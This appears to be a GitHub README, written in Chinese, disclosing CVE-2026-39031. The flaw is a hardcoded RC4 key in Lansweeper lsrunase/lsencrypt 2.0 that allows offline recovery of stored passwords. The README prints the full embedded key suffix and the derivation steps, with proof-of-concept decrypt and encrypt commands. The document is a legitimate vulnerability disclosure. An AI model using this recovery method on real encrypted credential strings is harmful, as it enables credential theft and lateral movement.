user6400/cve-2026-39031-lansweeper-lsrunase2-lsencrypt2
GitHub: user6400/cve-2026-39031-lansweeper-lsrunase2-lsencrypt2
针对 Lansweeper lsrunase/lsencrypt 2.0 硬编码 RC4 密钥导致离线明文密码恢复漏洞的概念验证项目。
Stars: 0 | Forks: 0
# CVE-2026-39031:Lansweeper lsrunase 2.0 / lsencrypt 2.0 密码恢复
## 摘要
Lansweeper `lsrunase` 2.0 和 `lsencrypt` 2.0 使用了基于 RC4 的可逆密码加密方案。其 RC4 密钥派生自一个 8 字符的前缀,该前缀与加密密码一起以明文形式存储,且二进制文件中还嵌入了固定的密钥材料。
任何获取到由这两个工具生成的加密密码字符串的人都可以离线恢复明文密码。恢复过程无需暴力破解:只需将明文前缀从加密值中分离,重建密钥缓冲区,计算一次 SHA-1 摘要,并解密一段 RC4 密文即可。
此问题已被分配编号 `CVE-2026-39031`。公共的 CVE 和 NVD 记录可能在披露发布且记录传播完成后才会显示。
## 受影响的产品
| 产品 | 受影响版本 |
| --- | --- |
| Lansweeper `lsrunase` | 2.0 |
| Lansweeper `lsencrypt` | 2.0 |
受影响的组件是 `lsrunase.exe` 2.0 和 `lsencrypt.exe` 2.0 所使用的密码加密例程。
## 与旧版 LSrunasE 问题的区别
这不是被追踪为 `CVE-2007-6340` 的旧版 `LSrunasE` / Supercrypt 问题。那个旧的 CVE 影响的是 Geert Moernaut 的 `LSrunasE` 1.0 和 Supercrypt 1.0。
`CVE-2026-39031` 专门针对 Lansweeper `lsrunase` 2.0 和 `lsencrypt` 2.0。其易受攻击的构造有所不同:这些二进制文件通过明文的 8 字符前缀加上二进制文件中嵌入的固定 142 字节后缀来派生 RC4 密钥。
## 技术细节
加密密码值的构造如下:
```
8-character prefix || base64(RC4(plaintext password))
```
加密过程如下:
1. 生成一个在 `0x3f` 到 `0x7e` 范围内的 8 字符 ASCII 前缀。
2. 使用 8 字节前缀加上二进制文件中嵌入的固定 142 字节后缀,构建一个 150 字节的密钥缓冲区。
3. 计算 `SHA1(key_buffer)` 以生成 20 字节的 RC4 密钥。
4. 使用 RC4 加密明文密码。
5. 对 RC4 密文进行 Base64 编码。
6. 将原始的 8 字符前缀添加到 Base64 输出之前。
固定的 142 字节后缀为:
```
0x27 0x0F 0x29 0x11 0x2B 0x13 0x2D 0x15
0x2F 0x17 0x31 0x19 0x33 0x1B 0x35 0x1D
0x37 0x1F 0x39 0x21 0x3B 0x23 0x3D 0x25
0x3F 0x27 0x41 0x29 0x43 0x2B 0x45 0x2D
0x47 0x2F 0x49 0x31 0x4B 0x33 0x4D 0x35
0x4F 0x37 0x51 0x39 0x53 0x3B 0x55 0x3D
0x57 0x3F 0x59 0x41 0x5B 0x43 0x5D 0x45
0x5F 0x47 0x61 0x49 0x63 0x4B 0x65 0x4D
0x67 0x4F 0x69 0x51 0x6B 0x53 0x6D 0x55
0x6F 0x57 0x71 0x59 0x73 0x5B 0x75 0x5D
0x77 0x5F 0x79 0x61 0x7B 0x63 0x7D 0x65
0x7F 0x67 0x81 0x69 0x83 0x6B 0x85 0x6D
0x87 0x6F 0x89 0x71 0x8B 0x73 0x8D 0x75
0x8F 0x77 0x91 0x79 0x93 0x7B 0x95 0x7D
0x97 0x7F 0x99 0x81 0x9B 0x83 0x9D 0x85
0x9F 0x87 0xA1 0x89 0xA3 0x8B 0xA5 0x8D
0xA7 0x8F 0xA9 0x91 0xAB 0x93 0xAD 0x95
0xAF 0x97 0xB1 0x99 0xB3 0x9B
```
由于前缀以明文形式存储,且其余的密钥材料在不同安装中都是固定的,因此获取了加密密码字符串以及该二进制文件副本或此分析报告的攻击者,就可以获得派生 RC4 密钥所需的所有信息。
## 概念验证
概念验证脚本没有任何第三方依赖,并可在 Python 3 环境下运行。
```
$ python lsrunase2cve.py --decrypt "IssS|CI|NTOEHK5Q9l7Sn89xEA67+wo="
Decrypted: testpassword12345
```
上面的加密值是由 `LSrunasE 2.0 password encrypter 2.0` GUI 为明文 `testpassword12345` 生成的。
使用相同前缀进行可重现的加密检查:
```
$ python lsrunase2cve.py --encrypt "testpassword12345" --prefix "IssS|CI|"
Encrypted: IssS|CI|NTOEHK5Q9l7Sn89xEA67+wo=
```
## 影响
拥有本地访问权限并获取了由 `lsrunase` 2.0 或 `lsencrypt` 2.0 生成的加密密码值的攻击者,可以离线恢复明文密码。
根据工具的部署方式,恢复的凭据可能会允许:
- 通过使用存储的管理员凭据进行权限提升。
- 横向移动到恢复的账户有效的系统中。
- 对其他服务重用恢复的凭据。
- 对先前捕获或备份的加密密码字符串进行追溯解密。
## 根本原因
该问题是由密码保护方案中的几个密码学设计缺陷引起的:
- 使用 RC4 进行加密。
- 有效的秘密密钥材料被硬编码在二进制文件中。
- 随机前缀与密文一起以明文形式存储。
- 使用 SHA-1 作为单遍(single-pass)密钥派生步骤。
- 没有基于安装或基于用户的密钥。
- 密码以可逆形式存储。
相关的弱点类别包括:
- `CWE-321`:使用硬编码的密码学密钥
- `CWE-326`:加密强度不足
- `CWE-327`:使用已破坏或有风险的密码学算法
## 披露时间表
| 日期 | 事件 |
| --- | --- |
| 2026-03-13 | 通过 `security@lansweeper.com` 通知供应商,并提出了 90 天的协调披露时间表和 14 天的 CVE 分配申请窗口。 |
| 2026-03-31 | 供应商回复称该产品不再维护。未提供技术确认。 |
| 2026-06-08 | MITRE 分配了 `CVE-2026-39031`。 |
## 参考
- CVE 记录,等待公开发布:https://www.cve.org/CVERecord?id=CVE-2026-39031
- NVD 记录,等待公开发布:https://nvd.nist.gov/vuln/detail/CVE-2026-39031
- `CWE-321`:https://cwe.mitre.org/data/definitions/321.html
- `CWE-326`:https://cwe.mitre.org/data/definitions/326.html
- `CWE-327`:https://cwe.mitre.org/data/definitions/327.html
- RFC 7465,“Prohibiting RC4 Cipher Suites”:https://datatracker.ietf.org/doc/html/rfc7465
- 旧的、不同的 `CVE-2007-6340` 记录:https://nvd.nist.gov/vuln/detail/CVE-2007-6340
标签:Maven, StruQ, 密码学, 手动系统调用, 漏洞验证